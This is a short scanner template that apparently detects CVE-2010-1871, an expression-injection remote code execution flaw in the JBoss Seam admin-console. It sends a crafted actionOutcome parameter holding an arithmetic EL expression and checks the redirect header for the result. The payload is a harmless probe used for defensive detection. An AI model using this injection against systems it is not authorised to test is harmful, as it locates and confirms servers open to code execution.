CVE-2010-1871: JBoss CVE-2010-1871

id: CVE-2010-1871

info:
  name: JBoss CVE-2010-1871
  author: fuping
  severity: medium
  description: |-
    JBoss CVE-2010-1871 is a vulnerability in the JBoss Seam Framework that allows remote attackers to execute arbitrary code by injecting malicious expressions into the application.
  reference:
    - http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871
    - https://www.cnvd.org.cn/patchInfo/show/270651
  tags: cnvd,cnvd2010,jboss,seam,rce
  created: 2023/06/23

set:
  r1: randomInt(8000000, 10000000)
  r2: randomInt(8000000, 10000000)
rules:
  r0:
    request:
      method: GET
      path: /admin-console/index.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23%7b{{r1}}*{{r2}}%7d
    expression: response.status == 302 && response.headers["location"].contains(string(r1 * r2))
expression: r0()